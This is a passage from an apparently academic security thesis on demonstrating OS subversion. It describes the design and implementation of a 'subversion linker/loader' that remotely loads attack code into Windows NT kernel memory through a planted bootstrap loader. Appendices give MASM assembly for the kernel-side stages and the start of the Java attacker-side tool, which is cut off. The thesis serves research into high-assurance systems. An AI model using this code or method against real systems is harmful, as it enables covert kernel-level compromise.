5. When the system is rebooted, the restoring code is loaded into the bootstrap loader’s 

buffer area in the target machine. 
6. A trigger is set to reload/relocate the artifice from the long-term storage media to the 

new allocated memory space. 
7. When the attacker wishes to re-establish the attack code, the trigger is activated to 

restore the code into the new allocated memory space. 
8. When this is completed, a new trigger is set for the artifice’s reactivation and 

feedback is sent to the attacker indicating that the attack is ready to be activated. 
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Figure 7. Stage III of the Linker/Loader 

 

D. DETAILED DESIGN DECISIONS 

As we look at the design of the various phases, it is obvious that we must make a 

few design decisions in order to implement the attack in the specific experimental setup 

for this thesis research.  For the first phase, it bears mentioning that it does not matter 

where in kernel memory space the allocated buffer will be located.  The location 

independent nature (i.e. relative jumps and memory references) of the linker/loader code 
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as well as the implanted artifice allows for a context to be specified once the memory 

space is found.  The number of relocations needed for the artifice code is drastically 

reduced by location independence, thus only the jump table must be relocated when the 

memory is found.   

Second, we use four functions provided by the bootstrap loader: feedback, load, 

set trigger, and execute (run) trigger.  These four functions, provide the ability to 

(optionally) send feedback to the attack server, load any instructions to be executed into 

the buffer area of the bootstrap loader, set triggers for executions that are to be made, and 

trigger executions to jump to instructions that must be executed to complete the attack.  

The functions are vital to the linker/loader and they must work properly.   

Next, the memory allocation scheme for the linker/loader is to use a simple 

memory allocation function provided by the kernel.  This simplifies the task of finding 

memory, increases the likelihood of finding memory, allows for requesting a certain type 

(i.e. non paged versus paged) and allows us to not be clobbered by the memory manager 

when the artifice is running.  Other techniques to find available memory could have been 

devised, but were beyond the scope of this work. 

An interesting design decision is that of not making any assumptions about the 

maximum transmission unit of the network either the attack machine or the target 

machine communicate on.  On all of the packets containing artifice code sent to the target 

machine, from the attack machine, a restriction is placed on size based on a loose 

estimate of the maximum transmission unit of the networks the packet will traverse.  The 

only way to know that the size restriction was not restrictive enough is to see if feedback 

was returned to the attack machine after each attempt to load artifice code.  At that time, 

the attacker can change the allowable size to a smaller integer value to accommodate this 

restriction.      

An important design decision is that of how to carry out the task of relocation.  

The interface that was chosen for relocation is a jump table which resides at the 

beginning of the file.  The basic format is ‘symbol’ followed by a ‘pointer,’ all within the 

size of two DWORD’s.  This enables the artifice to refer to a predictable place in 

memory when making jumps and allows for easy patching of addresses after the code has 
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been relocated.  The jump table’s primary purposes, however, are for the resolving of 

external symbols or functions, which the linker/loader will do as it relocates the code, and 

for resolving internal symbols or functions, (i.e. those within the artifice code) when the 

artifice is stored in several non-contiguous memory spaces.  The only information needed 

for the jump table, besides the basic structure of the jump table, which is constant, is its 

base and bound addresses.  The following is an example jump table that could be used to 

link modules in different allocated memory areas.  In such a table, addresses to the 

functions would be patched at the attacker’s machine during the relocation portion of 

stage 2, and data values would be used by the artifice in order to pass values as 

parameters or save values for use during the artifice’s execution.   

                         

Figure 8. An Example Jump Table 

Another design decision has to do with failure.  This concerns the find memory 

function’s inability to find memory, even in non-contiguous form, or when the packets to 

be sent do not arrive at the target machine.  The first will be readily apparent because the 

bootstrap loader’s feedback function will return that information, however, the second is 

not likely to be detectable and could result in a crash if a trigger is activated that jumps to 

an irrelevant place in memory. Attempting to access this memory would likely result in a 

page fault. 
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Another important design decision was that of deciding how persistence would be 

achieved.  Because the likelihood of the kernel memory allocation function returning the 

same space in memory is very small (because one cannot request a specific starting 

address when calling a kernel memory allocation function) we assume that the code, in 

order to be restored after a reboot, must be loaded into the newly allocated space and re-

relocated according to the new base address.  This allows for less chance of a failure 

prompting the entire artifice to be reloaded via the network.  Although, again, obfuscation 

is not the primary concern, nor a goal, it would be nice to not have to resend the artifice 

to the target machine.  This is why relocation will always be carried out at the target 

machine when the system is rebooted.  When the relocation and reloading is complete, 

then a new trigger is set for the new starting location of the artifice code, and feedback is 

sent to the attacker to indicate the artifice is ready for activation.     

 

E. CONCLUSION 

In this chapter, a design for a subversion linker/loader has been presented that 

shows that it is not difficult to design a framework for a changeable artifice to operate 

inside a Windows NT based system.  With the design presented, it is possible to 

implement the linker/loader with the features that enable artifice code to operate in an 

unfamiliar environment.  This portion of the overall artifice loader subversion allocates 

memory for the attack code, relocates, loads and finally provides for the persistence of 

the attack code between system reboots.   

 



49 

V. SUBVERSION LINKER/LOADER IMPLEMENTATION 

A. INTRODUCTION 

In this chapter, we discuss the decisions that were made with respect to the 

implementation of the subversion linker/loader to demonstrate this type of subversion 

threat.  The general framework, as was discussed in the previous chapter, is the target 

machine, which is being attacked, and the attack machine, which sets up the attack.  On 

the target side, no compilers, linkers, relocation software or other useful software are 

available to the attacker.  The only guaranteed resources that the attacker can count on are 

the registers, processor time, and memory.  Within this context, it is assumed that in order 

for the attacker to adequately carry out an attack without crashing the system, state must 

be saved before accessing resources that are also being used by other threads in the kernel 

and restored when the resources are no longer needed.    

In order for the attack to utilize resources within the kernel such as the memory 

allocation function, ‘ExAllocatePoolWithTag,’ which will be discussed later, it made 

sense to build each portion of the attack that would be sent to the target machine as a 

device driver.  For building code that would eventually be placed in the target system’s 

kernel memory space, I utilized the Driver Development Kit, (DDK) version 2600.1106.  

It comes with many tools useful to device driver programmers such as makefiles, build 

tools, compilers, and assemblers.  There are other tools as well that were not relevant to 

this implementation so they will be ignored.  These useful tools made it easy to debug the 

code’s syntax and were relatively easy to learn how to use.  Device drivers in the 

Windows NT family of kernels operate at the highest privilege level.  They have the 

ability to call any function in system memory, and potentially alter any memory in the 

system should they find the need to do so.  This made it easy to find, for example, the 

memory allocation functions defined in “ntddk.h,” which is how the attack finds memory 

in the kernel.  Armed with the DDK, the programming for target system code portion was 

done on a Windows NT based platform.   

To develop the code that would be used to send packets, relocate and arrange the 

data, as well as receive feedback from the target machine, a Windows XP machine, and 
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JBuilder v.8.0 were used to code initially.  These choices were made solely for the reason 

that they were familiar to author.  Java was the choice for the implementation because the 

code was easily portable to other machines should the need to switch platforms come up, 

as well as because the syntax was familiar.  An equally good choice would have been to 

implement the attack side code in C or C++.    

For networking, the decision was made to use a UNIX based utility called sendip.  

This program was chosen because it allows the attacker to send packets (no larger than 

the maximum transmission unit of the network, which must be known beforehand), with 

configurable IP addresses, checksums, packet payload, etc.  It was a very easy command 

line utility to use, and covered all of the requirements we had for implementing the 

attack.  The downside to this utility is that it has not been ported to a Windows platform, 

and thus, the attack had to be done on a Unix-like machine.  In our case, we chose Redhat 

Linux 8.0 for the attack machine that we would run our attack code on.  The target 

machine code, written in the MASM assembly language and C, was already compiled 

using the DDK tools, so the switch to the Linux platform did not affect this code at all.  

The portability of java code allowed for this transition to be made smoothly.  There were, 

however, some issues with encoding that presented a small challenge that will be 

discussed later in the chapter.  

Finally, as a general rule, feedback was not handled in an automated way because 

it did not promise much of an improvement over using a packet sniffer to read the data 

that was returned to the attack machine.  For this purpose, we used a packet sniffer that 

was distributed with Redhat Linux, Ethereal v.0.9.6.  This is a popular packet sniffer 

which uses Tcpdump, another UNIX based utility to receive data on an Ethernet network, 

and then displays the packet contents in an easy to read format.  Once the feedback data 

was returned to the attack machine, then it was possible to continue the attack sequence.  

The Ethereal packet sniffer was also an invaluable tool for debugging the Java code’s use 

of the sendip program, ensuring that what was sent was exactly what needed to be sent to 

the target machine.   
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B. TARGET MACHINE CODE 

The target machine code is the code that executes on the target machine as kernel 

code, with the same privilege level as kernel code.  It was constructed using the DDK’s 

build tool, which uses the C compiler, the assembler and the Microsoft linker, link.exe to 

create a .sys file, or in other words, a device driver file that can be loaded into any 

Windows NT based system as a device driver.  This code can be found in Appendix A.   

 

1. Stage I Code 

The code invokes a memory allocation function provided by the kernel, called 

ExAllocatePoolWithTag.  This function requires three parameters:  

• POOL_TYPE poolType 

• SIZE_T numberOfBytes 

•  ULONG tag 

The first of these is the type of pool to be allocated from such as Non-paged, Paged, etc.  

For the experiment, we are requesting memory from the Non-paged pool.  The reason for 

this is that we would like the artifice to be loaded into physical memory at all times to 

avoid generating page faults.  This increases the reliability of the loaded artifice and 

reduces the chance of an out of memory condition in a limited memory system.  The 

second parameter is the number of Bytes parameter, which specifies the size of the 

memory needed.  If the size of the allocated space is larger than the page size of the 

system, then it is aligned on a page boundary, but if it is not larger, then it is allocated on 

an 8 byte boundary instead.  Also, if the memory requested is smaller than the page size 

of the system, then the memory manager will not allocate memory that crosses a page 

boundary.  This is almost never the case in our experiment because in smaller memory 

systems (less than 128 MB), which we are using, the page size is 4 KB (versus 4 MB in a 

larger memory system), which is smaller than the attack artifices we are loading.  The 

final field is the tag parameter which specifies an unsigned long (4 byte) integer to be 

used for identifying the memory allocation.  This is given in the form of a 4 byte string, 

and is then cast into a long integer value by the compiler.  [MIC03]  For the purpose of 

demonstration, the author chose a 4 KB size for both allocation function calls.  This 
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choice was made to demonstrate the need to allocate two separate page-sized memory 

areas.  Any larger or any smaller a request would not have aided the demonstration at all.  

Allocating these two 4 KB spaces has not been difficult and in fact, has never failed.   

It should be noted that it would have been just as easy to construct a function that 

searches for free memory space instead of allocating memory through the system.  The 

method used, however, decreases the chance of the kernel overwriting the memory and 

then having the system try to execute code that should not be executed.  Such a function 

would search for a string of consecutive 0x00 bytes and then return the beginning of that 

memory space to the attack machine.   

Once the memory allocation function returns an address, this address is stored and 

then moved to the feedback buffer where the feedback function will send it back to the 

target machine.  Should the memory allocation function not find an address, it will return 

null and the code will attempt to allocate the memory in two separate pieces.  Should this 

occur, though an attacker could attempt to allocate memory with more than two function 

calls, the task will fail and a null will be sent back to the attack machine.   

 

2. Stage II Code 

The Stage 2 code is the loading function that attemp ts to load the attack artifice 

into the allocated memory space.  This is a very simple function, written mostly in in-line 

assembly, within a C language file.  This code declares variables for the start and finish 

addresses of the artifice code to be written into memory.  Unless the artifice is small 

enough to be loaded with one packet, the space bounded by these two variables is a 

subset of the larger allocated memory space.  Within the portion of the code written in C, 

two more variables are declared which refer to the beginning and end of the code to be 

loaded when it resides in the bootstrap loader’s buffer area.  The assembly language 

instructions simply carry out memory moves from one buffer area to another until the 

bound of the code being transferred is reached.  When this happens, feedback indicating 

that this operation succeeded is sent back to the attack machine and the function returns.   

The choice of inline assembly, or using an assembler such as MASM, allows for 

maximum control of registers, and data fields, such as the base and bounds addresses of 
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both memory areas.  It could be a requirement of the artifice, at some point during its 

execution to have some details of the registers’ state just prior to its functions being 

called, and therefore, it is useful to save this information for the artifice by manually 

pushing these values onto the stack or perhaps saving them in a data field in the jump 

table.  Using assembly language also helps to optimize the code for speed though this is 

not a large concern for the attacker.  The code itself, in compiled form, is position-

independent code allowing the attacker to only have to complete a few relocations within 

the file, namely the base and bounds addresses for the buffer areas.  This is to say that 

jumps are only short, relative jumps and function calls are only near calls.   

The next portion of the second stage worth mentioning is a small implementation 

trick that was not included in the design stage of the linker/loader’s development.  It was 

realized late in the implementation phase that the bootstrap loader’s means of setting 

triggers only allows for triggers to be set within its own buffer area.  This does not allow 

one to set triggers to functions that reside in allocated memory.  Thus, it was necessary to 

construct a call table which would be left behind by the linker loader and would reside in 

the bootstrap loader’s buffer area.  This table would have triggers set to several function 

calls referring to the the artifice’s functions located in the allocated memory spaces and 

upon the conclusion of the execution of these functions, would have a return instruction 

to return control back to the bootstrap loader’s executing code.   

 

3. Stage III Code 

For two reasons, the third stage code, which provides persistence for the artifice 

from boot to boot, was not implemented as a part of the demonstration.  First, it was 

determined this stage was too complex for implementation during the time allocated for 

this project.  The other two stages were mandatory for the success of the effort.  The 

second reason is simply that because obfuscation was not a goal of the demonstration, 

sending the artifice to the attack machine again after a system reboot would not be too 

overt an act to carry out repeatedly when the artifice is lost because of machine shutdown 

or crash.  The third stage could be implemented in the future. 
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C. ATTACK MACHINE CODE 

The attack machine code is the code that carries out the functions that must be 

completed on the remote side of the connection such as relocation, dividing the artifice 

into payload sized sections, etc.  This portion of the linker/loader was written exclusively 

in Java because of its abilities to handle bytes in an easy to understand way, and because 

it was more familiar than programming in C.  It is implemented as a class called Linker, 

found in the file, Linker.java.  This code can be found in Appendix B. 

The java libraries provide several classes that allow for easy manipulation of files 

using streams.  The principle class, File, which is found in java.io library is the principle 

means for accessing a file from the file system.  This class allows the Java program to 

recognize a file and if it is not found in the path specified, to create a file with the name 

supplied as a parameter to the constructor.  With a File declared, the file can then be 

opened for editing or for reading using the java.io.FileReader and java.io.FileWriter 

classes.  These files extend the java.io.InputStreamReader and 

java.io.OutputStreamWriter classes respectively, and are used, typically, to read strings 

of characters or integers from a file.  The same result of using these classes can be 

achieved by using the InputStreamReader and FileInputStream classes together for 

writing to a file and the OutputStreamWriter and FileOutputStream classes together for 

reading from a file.   In this case, for writing to a file for example, an instance of 

FileOutputStream is declared to open a particular file stream, and the 

OutputStreamWriter is declared to open that FileOutputStream for writing.  The use of 

the combination of classes versus using the FileWriter and FileReader classes allow for 

more control over the input and output to and from files.  It is recommended by Sun 

Microsystems that to manipulate raw data from files, it is better to use the combination of 

classes rather than the FileReader and FileWriter classes because these are designed 

more specifically for reading and writing strings to a file.   

The other reason to choose the combination of classes is that encodings for 

interpreting the data in the file is important if files that were created on one system are 

transferred to another kind of system and then the data in them is manipulated by the java 

program on the new system.  Different operating system platforms use different 
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encodings.  For example, Windows NT based operating systems use a derivative of the 

Latin-1 encoding, referred to as ‘Cp1251’ in the java.io library, while Linux uses 

Unicode 8 byte encoding, referred to as ‘UTF-8.’  These default encodings are not 

specifiable by creating an instance of FileReader or FileWriter and thus for this 

implementation, these classes could not be used.  Trying to modify a file that is written in 

an encoding other than the encoding it was created with, changes byte values into values 

that the new encoding understands with often disastrous effects.  For example, if a file 

that is encoded using Windows NT encoding is read from and then rewritten to another 

file using a Unicode 8 type OutputStreamWriter, then the byte values in the 127 to 159 

range are written as two, three or more bytes, into a new byte value, leading to a loss of 

precision in the file.  These byte values are reserved by the NT encoding for control 

purposes, and cannot be directly translated into Unicode 8 bytes.  By using the same 

encoding to write and read to and from a file, the program understands the special 

characters and can process them correctly in the data stream.  In the linker/loader 

implementation, this encoding is declared constant at the beginning of the program as the 

universal encoding, ‘ISO-8859-1.’ Thus, even as the program runs on the Linux platform, 

the file alterations and reads are made correctly as every byte value that is read from a 

file in the entire range of byte values (i.e., 0 to 255) is written correctly in the new file.  

[HUG99] 

Next, it is useful to discuss the functions that carry out the tasks required of the 

linker/loader on the attack machine.  There are several utility functions that allow for the 

conversion of hexadecimal values, represented as String values within the program, into 

their integer values and vice versa.  There are also several for copying files exactly, or in 

part, to ensure that there is not any data lost between executions of the Linker/Loader, 

especially during relocation because original files with offset, relative addresses are often 

changed to reflect the new, absolute addresses.  There is a function to pause the attack at 

key points to wait for intervening actions of the user.  There are also functions that 

prepare the artifice code for loading into the allocated memory space.  There are also 

several functions used for relocating the artifice code, and at times, the code that loads 

the artifice into place.  There are also graphical user interface (GUI).  Finally there are a 

few miscellaneous functions that should be mentioned and because they are not used in 
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the attack, per se, their utility will be discussed to justify their inclusion in the 

implementation.   

 

1. Utility Functions 

There are several utility functions used by the linker/loader in order to perform 

routine tasks for many of the other functions in the implementation.  The 

switchByteOrder function takes a string of eight characters, usually a representation of 

hexadecimal values stored as a string, and converts the byte order.  This can be used to 

convert, for example, ‘0ABCDEF0’ to ‘F0DEBC0A’ and vice versa.  Another function, 

hexToInt, converts a hexadecimal value of any length represented as a string, into its 

integer value.  For example, the value ‘AAB’ would be converted to the integer value, 

2731.  A similar function, FileToHexString does the opposite in order to convert a file 

that contains bytes into a string of characters, converting 0xAA to ‘AA’ and so forth.  

This function is used as a utility to export a file’s contents to the sendip command-line 

utility.  The next two functions copyFile, and copyFileFragment are used frequently to 

make an exact file copy of any file written with any encoding, or to make a copy of a 

portion of any file written in any encoding, respectively.  The final utility function is the 

pauseAttack function.  This is used primarily to halt the execution of the linker/loader in 

order to allow intervention by the user, or to allow time to study the output of the GUI to 

understand the state of the linker/loader at various times during its execution.   

 

2. Loading and Preparation Functions 

The next group of functions that will be discussed are the loading and preparation 

functions that either prepare the artifice code for loading into the attack machine or the 

function that actually loads the artifice code into the attack machine, via the Bootstrap 

loader’s load function.  The first function, divideAndCombine, accomplishes the first of 

these tasks in that it takes the artifice code, divides it into pieces, each of a size that 

allows each piece and the loading instructions that will be executed to load that piece into 

the correct allocated memory area, into a packet payload small enough for the maximum 

transmission unit of any networks the packet will enter.  The divideAndCombine function 
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produces the array of packets that will be sent to the target machine and loaded into the 

allocated buffer space.  Initially, the file that contains the attack code, the file that 

contains the loading code, a string that represents the base file name for the packet files 

(i.e. “~temp”), the size limit for each payload, and a Boolean value describing whether 

the temporary files should be deleted or not after the program exits, are given as actual 

parameters to the function.  First, the payload portion of each packet that the attack code 

may use is determined by subtracting the size of the header file, which is the Stage 2 

loading code, from the maximum payload size for the packet.  The result is the number of 

bytes in the packet that the attack code can take up.  The larger this value is, the fewer 

number of packets need to be sent to the target machine to load the entire attack artifice 

into the allocated memory space.  The attack code is then divided into pieces of this size, 

and placed, with the loading code into the packet files.  These files are stored in an array 

that will be used later by the sendipPacket function to send the files.  The last file in the 

array is not as large as the other packets, simply because the attack code may not be 

divisible exactly by the size allowed for the attack code in each packet.  The second 

function, the sendipPacket function, formats the packets created in the array of packets 

returned by the divideAndCombine function, for being sent using the sendip program via 

the command line.  As parameters, this function takes the file containing the payload to 

be sent, and the type of packet to send (i.e. load, set trigger, or run trigger) The function 

used to call the sendip program is (Runtime.getRuntime()).exec(commandLine).  The 

parameter commandLine is a string containing the command to pass to the system’s 

default shell which is then executed.  Prior to executing this command, the function 

constructs the commandLine string based on the parameters passed in the original 

function call.  These parameters specify the type of bootstrap loader function needed, 

such as load, set trigger, or run trigger, as well as whether feedback is needed or not.  

[SUN02] 

 

3. Relocation Functions 

The next group of functions carry out the relocations on the artifice code and the 

loading code once the addresses have been returned for the allocated memory spaces.  

There are several procedure like functions that act more as a means of organizing the 
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code rather than carrying out one specific function.  There are other functions that act as 

traditional functions in that they are more atomic in nature when considering the tasks 

they carry out.  The procedure functions are the two relocation functions:  

jumpTableRelocations, and callTableRelocations.  The first of these functions, 

jumpTableRelocations carries out relocations on the jump table portion of the artifice 

code.  Currently, the function is not fully generalizable, although changes could be made 

to make it so.  In this way, whenever the number of functions changes, or the size 

changes, one or more changes must be made to the configuration files containing the 

offsets for the jump table.  The second of these functions, callTableRelocations, carries 

out similar operations on the call table mentioned above.  The next functions are fully 

generalizable in that they  perform relocations based on the parameters passed to them.  

The relocate function carries out one relocation at one point in the file that is passed to it 

as a parameter.  The relocateFile carries out a series of these relocations using as 

parameters, the file that is to be relocated, and the file that contains the offsets of the 

relocations within the file and the values to fill in at those offsets.  The third function, 

relocateFileByAddress, carries out similar tasks as the second function, but first, changes 

the file that specifies the relocations to be done, to reflect the new absolute address to be 

added to the offset address values located within the change file.   

 

4. Miscellaneous Functions 

The last two functions are the convertEncoding and createEncodingExample 

functions.  These functions are not actually used to carry out any linker/loader relevant 

tasks, but they are worth mentioning.  The first function convertEncoding converts a file 

encoded using a specific encoding, such as ‘UTF-8’, and delivers the equivalent in 

another encoding.  The next function, createEncodingExample creates a file using the 

encoding passed to it as a parameter.  The output is a file with one byte containing each 

possible byte value for every value from 0 to 255.  The utility of this is to see which 

particular byte values are not recognized by that encoding and to choose the encoding 

that best suits your needs based on this information.  Both of these functions can be used 

to understand the way encodings are handled in Java, and should be used if there is any 

confusion about this subject.  
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D. CONCLUSION 

In this chapter, the implementation of the linker/loader portion of the attack was 

presented, showing the various implementation decisions that were made to successfully 

link, load and relocate the attack code.  The framework for the artifice attack code was 

discussed, which is made of several functions that perform the tasks, such as linking and 

relocating in order to prepare the attack artifice code to work properly on the target 

machine.  Several important issues were discussed as well, such as the need to adhere to 

the default encodings used by various operating systems, as well as how to transport the 

data to be loaded on the target machine.  It ought to be noted that it is not entirely 

necessary to limit the attack to one kind of machine, though the use of the sendip 

program necessitated using a UNIX based machine, and the use of the Driver 

Development Kit necessitated using a Windows NT based machine for development of 

code that would run on the target machine.  There are numerous ways of implementing 

the subversion linker/loader, but this way seemed the most straightforward.  More 

information on how to operate the linker/loader and how to manipulate the functions 

mentioned in this chapter are outlined in Appendix C.   
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VI. CONCLUSION  

A. FUTURE WORK 

The biggest task still to be completed is the establishing of permanence of an 

artifice from boot to boot.  This could be done using the third stage specified in the 

design chapter, which seeks out permanent storage to hold the artifice, and later restores 

the artifice from that storage space when the system is booted.  Another area of future 

work is extending this type of subversion attack to other operating systems, such as Linux 

or a system from the BSD family of systems such as OpenBSD, FreeBSD, or NetBSD.  

Finally, the third stage of the artifice linker/loader could be implemented to show 

persistence.   

 

B. SUMMARY 

We have demonstrated that a more elaborate subversion artifice, such as our 

implementation of the two-card loader is relatively easy to implement and that all the 

attacker needs to carry out this kind of an attack is to have access to the operating 

system’s code at some point during the development lifecycle.  We have discussed the 

importance of constructive security techniques to ensure the absence of subversion. 

We have also shown the requirements and mechanisms found in the x86 

architecture that can be used by the operating system designers to use the available 

hardware more effectively, thus increasing the overall assurance level of the system. 

Using the Common Criteria as a requirements base of knowledge, a kernel could be 

implemented that uses the available hardware effectively to construct security 

mechanisms that embody the fundamental notions of the Reference Monitor Concept. 

This body of work builds upon previous efforts to show that hardware 

mechanisms that are commercially available to any system developer, such as Intel’s x86 

32-bit architecture, can be used to build a high assurance system.  This thesis shows that 

there are certain features built into this architecture and others like it, which can be used 

to provide a foundation for the security relevant portions of an operating system, allowing 

the development of a high assurance kernel.  Most importantly, however, this thesis 
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shows the need to employ the techniques of verifiable protection to ensure against system 

subversion.  The Trusted Computing Exemplar project, [IRV03] at the Naval 

Postgraduate School will provide an open worked example of such a system.  Building a 

system that is of high assurance, with proven verifiable protection, is like a house built 

upon a good foundation, so that when the floods come, it will not crumble.   
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APPENDIX A. THE TARGET MACHINE CODE 

These are the instructions, written in assembly language, that are sent to the target 

machine during the course of an attack.  The first is the get memory function which when 

activated by running a trigger, finds memory by calling a function.  This function is 

assumed to be at memory location 0x80536AA0 because the operating system is usually 

loaded in the same location, allowing this function’s location to be relatively fixed.  After 

the function call is completed, the information is stored in the ICMP buffer area, which is 

a constant offset from the address stored in the EBX register.  The ICMP buffer area is 

made available by the bootstrap functions that precede the execution of this function.   

 
TITLE phase 1 of the linker/loader 
 
; This program demonstrates the ability for the bootstrap 
; and link/loader to load a module and use triggers to execute it 
 
 
.386 
.MODEL small, stdcall 
.STACK 1024 
ExitProcess PROTO, dwExitCode:DWORD 
 
.data 
 
.code 
main PROC 
 
 push 464D31h 
 push 0fa0h 
 push 0h 
 mov  ECX, 80536AA0h       
 call ECX     ; call to where this function is usually loaded 
 mov  DWORD PTR [EBX + 53], 30h 
 mov  BYTE PTR [EBX + 81], 0AAh  
 mov  DWORD PTR [EBX + 82], EAX ; stores the allocated memory space 
 mov  BYTE PTR [EBX + 86], 0AAh 
 mov  DWORD PTR [EBX + 87], EBX ; stores the artBuffer's starting address. 
 mov  BYTE PTR [EBX + 91], 0AAh 
     ret                                ; return 
 ret 
 ret 
 ret 
main ENDP 
 
 
END main 

 

The next group of instructions is sent to the attack machine during the second 

stage of the attack.  The artifice attack code is divided into pieces using the 
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divideAndCombine function, and then this following code has each piece appended to it, 

such that each of these header/payload pieces will fit in the payload of an ip packet.  This 

loading code then has a trigger set to the beginning of it, so that when it is run, it copies 

the piece that was appended to it to the allocated memory area, which was returned in 

first stage.   

 
TITLE phase 2 of the linker/loader - copying code 
 
; This program demonstrates the ability for the bootstrap 
; and link/loader to load a module and use triggers to execute it 
 
 
.386 
.MODEL small, stdcall 
.STACK 1024 
ExitProcess PROTO, dwExitCode:DWORD 
 
.data 
.code 
main PROC NEAR32 
       
 mov ECX, 0BBBBBBBh ; tracks the first buffer area pointer 
 mov EDX, 0CCCCCCCh ; tracks the allocated buffer area pointer 
 mov ESI, 0DDDDDDDh ; points to the last instruction 
  
 nop 
 nop 
 nop 
 nop 
 nop 
 nop 
 mov AL, [ECX]  ; move the next byte 
 mov [EDX], AL  ;    to its place in allocated memory. 
 add ECX, 1   ; go to next byte to copy 
 add EDX, 1  ; go to next byte to copy 
 cmp ESI, ECX 
 jne $-12  ; jump back 12 bytes if  
    ; the end of the buffer hasn't been reached 
 mov AL, [ECX]  ; one last byte to copy... 
 mov [EDX], AL 
 nop 
 nop 
 nop 
  
 ret   ; done copying 
 
main ENDP 
 
 
END main 
 
 

The final code is the group of instructions that are left behind when the artifice is 

loaded and the triggers need to be set in order to run the artifice’s functions.  This is 

known as the call table and is essentially a number of function calls to the addresses that 

contain the first instruction to be executed in each artifice’s function.   
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TITLE phase 2 of the linker/loader – call table code 
 
; This program demonstrates the ability for the bootstrap 
; and link/loader to load a module and use triggers to execute it 
 
 
.386 
.MODEL small, stdcall 
.STACK 1024 
ExitProcess PROTO, dwExitCode:DWORD 
 
.data 
.code 
main PROC 
 nop      
 nop  ; these are calls to the artifice functions 
 nop  ; triggers are set to these rather than the functions 
  
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov ECX, 0aaaaaaah 
 call ECX 
 ret 
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov ECX, 0bbbbbbbh 
 call ECX 
 ret 
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov  ECX, 0ccccccch 
 call ECX 
 ret 
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov  ECX, 0dddddddh 
 call ECX 
 ret 
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov  ECX, 0eeeeeeeh  
 call ECX 
 ret  
 nop 
 mov EDX, 00000000h 
 mov [EDX], EBP  
 mov  ECX, 0fffffffh 
 call ECX 
 ret 
 nop 
 nop 
 nop 
 nop 
  
 ret   ; end of the call table 
 
main ENDP 
 
 
END main 
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APPENDIX B. THE ATTACK MACHINE CODE 

The attack machine code is the Java code that is executed at the attacker’s 

machine.  Upon execution of the main method, a graphical user interface launches with 

with three main windows.  These three windows are the means of conducting the attack.  

Once the attack is finished, the external frame window can be closed which will end the 

program’s execution.  Below is the source code for the attack machine.   
import java.awt.*; 
import java.awt.event.*; 
import java.io.*; 
import javax.swing.*; 
import java.util.*; 
 
public class Linker extends Thread { 
  /**************************************************************************** 
   * Data Members 
   ****************************************************************************/ 
  private ButtonHandler buttonHandler; 
  private JTextArea messageText, packetText; 
  private File[] packetFileArray; 
  private boolean proceed; 
  private String artBufferAddress, artBufferAddressSaved, alloc1Address, 
      alloc2Address; 
  private JButton buttCont, b1, b2, b3, b4, b5; // four main buttons 
  private JTextField tf1, tf2, tf3, tf4,tf5; 
  private String fromIP, toIP; 
  private static final String ENCODING = "ISO-8859-1";  

// the only encoding I've found that works for copying all 256 byte values 
   //"UTF-8", "Cp1252", "Cp1251", and so on don't 
 
  /*************************************************************************** 
   * Constructor 
   * 
   * most of the instructions are for creating the GUI. 
   ***************************************************************************/ 
  public Linker() { 
    //-----------------Create GUI components-------------------------// 
    JFrame jFrame = new JFrame(); 
    JDesktopPane desktopPane = new JDesktopPane(); // creates the GUI 
    desktopPane.setName("Subversion Linker/Loader"); 
    JInternalFrame messageFrame = new JInternalFrame("Subversion Messages", true,  
false, false); 
    JInternalFrame controlFrame = new JInternalFrame("Subversion Control", true, 
false, false); 
    JInternalFrame packetFrame = new JInternalFrame("Packets Sent", true, false, 
false); 
    JMenuBar menuBar = new JMenuBar(); 
    JMenu menu2 = new JMenu("Help"); 
    JMenu menu1 = new JMenu("File"); 
    JMenuItem instructionsItem = new JMenuItem("Instructions"); 
    JMenuItem exitItem = new JMenuItem("Exit"); 
    messageText = new JTextArea(); 
    packetText = new JTextArea(); 
    GridBagLayout gbLayout = new GridBagLayout(); 
    GridBagConstraints gbConstraints = new GridBagConstraints(); 
    buttonHandler = new ButtonHandler(); 
    buttCont = new JButton("Continue"); 
    JScrollPane messageScroll = new JScrollPane(messageText, 
                                                
JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, 
                                                JScrollPane. 
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                                                HORIZONTAL_SCROLLBAR_ALWAYS); 
    JScrollPane packetScroll = new JScrollPane(packetText, 
                                               
JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, 
                                               JScrollPane. 
                                               HORIZONTAL_SCROLLBAR_ALWAYS); 
    jFrame.setSize(1000, 750); 
    jFrame.getContentPane().add(desktopPane); 
    desktopPane.add(messageFrame); 
    desktopPane.add(controlFrame); 
    desktopPane.add(packetFrame); 
 
    //-----------------set up the internal frames of the GUI------------------// 
    packetFrame.setBounds(500, 200, 490, 450); 
    packetFrame.getContentPane().add(packetScroll); 
    packetFrame.show(); 
    //packetFrame.setAutoscrolls(true); 
 
    messageFrame.setBounds(0, 0, 500, 650); 
    messageFrame.getContentPane().add(messageScroll); 
    messageFrame.show(); 
    //messageText.setAutoscrolls(true); 
 
    controlFrame.show(); 
    controlFrame.getContentPane().setLayout(gbLayout); 
    controlFrame.setBounds(500, 0, 490, 200); 
 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 0; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(buttCont, gbConstraints); 
    controlFrame.getContentPane().add(buttCont); 
 
    //------------------set up the control frame---------------------// 
    JLabel L1 = new JLabel("artBuffer pointer + 0x1A"); 
    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 4; 
    gbLayout.setConstraints(L1, gbConstraints); 
    controlFrame.getContentPane().add(L1); 
 
    JLabel L2 = new JLabel("Allocated Memory 1"); 
    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 5; 
    gbLayout.setConstraints(L2, gbConstraints); 
    controlFrame.getContentPane().add(L2); 
 
    JLabel L3 = new JLabel("Allocated Memory 2"); 
    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 6; 
    gbLayout.setConstraints(L3, gbConstraints); 
    controlFrame.getContentPane().add(L3); 
 
    JLabel L4 = new JLabel("     "); 
    gbConstraints.gridx = 2; 
    gbConstraints.gridy = 2; 
    gbLayout.setConstraints(L4, gbConstraints); 
